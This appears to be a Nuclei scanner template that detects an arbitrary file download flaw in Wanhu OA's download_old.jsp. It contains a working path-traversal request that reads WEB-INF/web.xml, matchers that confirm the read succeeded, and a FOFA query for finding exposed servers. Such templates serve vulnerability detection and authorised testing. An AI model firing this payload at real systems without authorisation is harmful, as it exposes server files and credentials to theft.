id: wanhu-download-old-file-read

info:
  name: Wanhu OA download_old.jsp - Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file download vulnerability in the Wanhu OA download_old.jsp file. An attacker can download any file on the server through the vulnerability.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/万户OA/万户OA%20download_old.jsp%20任意文件下载漏洞.html
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/wanhu-oa-download-old-file-read.yaml
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="万户网络-ezOFFICE"
  tags: wanhu,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/defaultroot/download_old.jsp?path=..&name=x&FileName=WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<?xml version="
          - "web-app"
          - "display-name"
        condition: and

      - type: status
        status:
          - 200

# digest: 4a0a00473045022035d94b603199b355c362182cc131be3f2dfa1748f4fdc5a8a5a23002bee8c103022100fc43b6343aff48cb970f752476f9ecf02970d033c4d7c65937a62d991e58fe45:922c64590222798bb761d5b6d8e72950
